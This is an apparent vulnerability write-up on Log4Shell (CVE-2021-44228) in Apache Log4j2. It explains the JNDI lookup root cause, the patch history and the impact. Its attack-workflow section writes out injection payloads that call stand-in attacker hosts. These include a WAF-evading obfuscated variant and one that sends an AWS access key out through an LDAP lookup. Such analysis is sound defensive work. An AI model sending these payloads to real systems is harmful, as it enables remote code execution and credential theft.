Deep Dive: CVE-2021-44228 - Log4j2 JNDI RCE (Log4Shell)

CVE-2021-44228, widely referred to as "Log4Shell," is a critical vulnerability within the log4j-core component of Apache Log4j2. The vulnerability stems from the library's feature to perform property substitution in log messages. Log4j2 supports a mechanism called "Lookups," which allows variable values to be retrieved and substituted into log output at runtime. One specific lookup type, JNDI (Java Naming and Directory Interface), was enabled by default and failed to restrict the protocols or endpoints it could contact.

When a vulnerable Log4j2 instance logs a message containing a specific character sequence (specifically ${jndi:...}), the library attempts to resolve the request. If an attacker can inject this sequence into any input that eventually gets logged—such as HTTP headers (User-Agent, X-Forwarded-For), form fields, or chat messages—they can coerce the server into initiating an outbound connection to an attacker-controlled server. This mechanism bypasses traditional perimeter defenses because the connection originates from the trusted internal server to the outside world.

The impact is catastrophic because JNDI is designed to allow the retrieval of Java objects. If the JNDI lookup points to a malicious LDAP or RMI server, that server can return a Reference object pointing to a remote class file. The victim's Java Virtual Machine (JVM) will then download this class file and execute its bytecode, granting the attacker full remote code execution privileges within the context of the running application.

The root cause of CVE-2021-44228 lies in the interaction between the StrSubstitutor class and the JndiLookup plugin. The StrSubstitutor is responsible for parsing strings and resolving variables enclosed in ${...}. This parsing logic is recursive; if a resolved value contains further variables, they are also resolved.

In affected versions, the JndiLookup class (registered under the jndi prefix) essentially acted as a proxy to the standard Java JNDI API without sufficient guardrails. The vulnerable code path typically flows as follows:

1. Logging Event: An application calls a logging method, e.g., logger.info("User input: {}", userInput). The userInput contains ${jndi:ldap://attacker.com/exp}.
2. Message Formatting: The PatternLayout processes the message. If the layout includes pattern converters that handle message substitution, the string is passed to StrSubstitutor.
3. Variable Resolution: StrSubstitutor identifies the jndi prefix and delegates the content to JndiLookup.lookup().
4. JNDI Lookup: The lookup method calls context.lookup(), passing the attacker's URL directly to the underlying JNDI implementation.

Crucially, untrusted data deserialization occurs here. When the JNDI client (the victim) connects to the LDAP server (the attacker), the LDAP protocol allows the response to specify a Java class codebase (URL) and a factory (class name). The JVM, seeing this reference, fetches the class from the remote URL and instantiates it. The execution of the class's static initializer block or constructor completes the attack chain.

The remediation for Log4Shell required multiple iterations due to the complexity of the feature set. The initial fix in 2.15.0 attempted to restrict JNDI lookups to specific hosts and protocols, but this was proven incomplete (leading to CVE-2021-45046). The definitive fix in versions 2.16.0 and 2.17.1 involved completely disabling JNDI lookups by default and removing support for message lookups entirely.

In the vulnerable JndiLookup.java, the code simply passed the key to the JndiManager:

// Vulnerable implementation in JndiLookup.java
@Override
public String lookup(final LogEvent event, final String key) {
    if (jndiManager == null) {
        return null;
    }
    // No validation of 'key' (the URL) before lookup
    return jndiManager.lookup(key);
}

The fix introduced in later versions fundamentally changed how substitutions are handled. In version 2.16.0+, the JndiLookup functionality was restricted, and message lookups were disabled by default in the configuration.

Furthermore, the JndiManager was updated to enforcing strict allowlists for protocols and hosts. The following snippet illustrates the validation logic introduced to prevent arbitrary remote connections:

// Hardened check in JndiManager (conceptual simplified view)
if (!allowedProtocols.contains(protocol)) {
    return null;
}
if (!allowedHosts.contains(host)) {
    LOGGER.warn("Attempt to access JNDI resource at {} is not allowed", host);
    return null;
}

Additionally, the Message interface implementation was altered to stop recursively evaluating lookups within user-provided log messages, closing the vector where user input triggers the resolution logic.

Exploiting Log4Shell is trivial due to the lack of authentication and the ubiquity of logging. The attack does not require a specific user account or complex memory corruption techniques. It relies solely on data injection.

Attack Workflow

1. Reconnaissance: The attacker identifies input vectors that are likely to be logged. Common targets include HTTP headers (User-Agent, Referer, X-Api-Version), login forms (username fields), and search parameters.
2. Injection: The attacker sends a request containing the JNDI payload.
   • Standard Payload: ${jndi:ldap://attacker-c2.com/exploit}
   • Bypass Payload: ${${lower:j}ndi:${lower:l}dap://attacker-c2.com/exploit} (used to evade WAF signature matching).
3. Callback: The vulnerable server processes the log, triggers the lookup, and connects to attacker-c2.com on the specified port (usually 1389 for LDAP or 1099 for RMI).
4. Payload Delivery: The attacker's server (often running tools like JNDIExploit or marshalsec) responds with a serialized object reference pointing to a malicious .class file hosted on an HTTP server.
5. Execution: The victim server downloads the class file and executes it. This typically results in a reverse shell or the exfiltration of environment variables (e.g., ${jndi:ldap://attacker.com/${env:AWS_ACCESS_KEY_ID}}).

The impact of CVE-2021-44228 is rated as Critical (CVSS 10.0). The vulnerability permits arbitrary remote code execution (RCE) with the privileges of the application running Log4j. In many enterprise environments, Java applications run as root or a highly privileged service account, leading to immediate and total system compromise.

Security Implications

• Confidentiality: Attackers can read sensitive configuration files, environment variables (containing AWS keys, database credentials), and application data.
• Integrity: Attackers can modify application logic, persistence mechanisms, or inject ransomware.
• Availability: Attackers can shut down services, delete data, or use the compromised resources for botnet activities (e.g., crypto-mining or DDoS).
• Lateral Movement: Because Log4j is often embedded in internal backend services that are not directly exposed to the internet, an initial foothold in a DMZ web server can be used to chain attacks deeper into the network. If an internal service processes data passed from the edge (e.g., a backend API logging a header forwarded by a frontend), it is equally vulnerable.

The widespread use of Log4j means this vulnerability affects not just custom applications but also major vendor products, including virtualization platforms, cloud management consoles, and security appliances.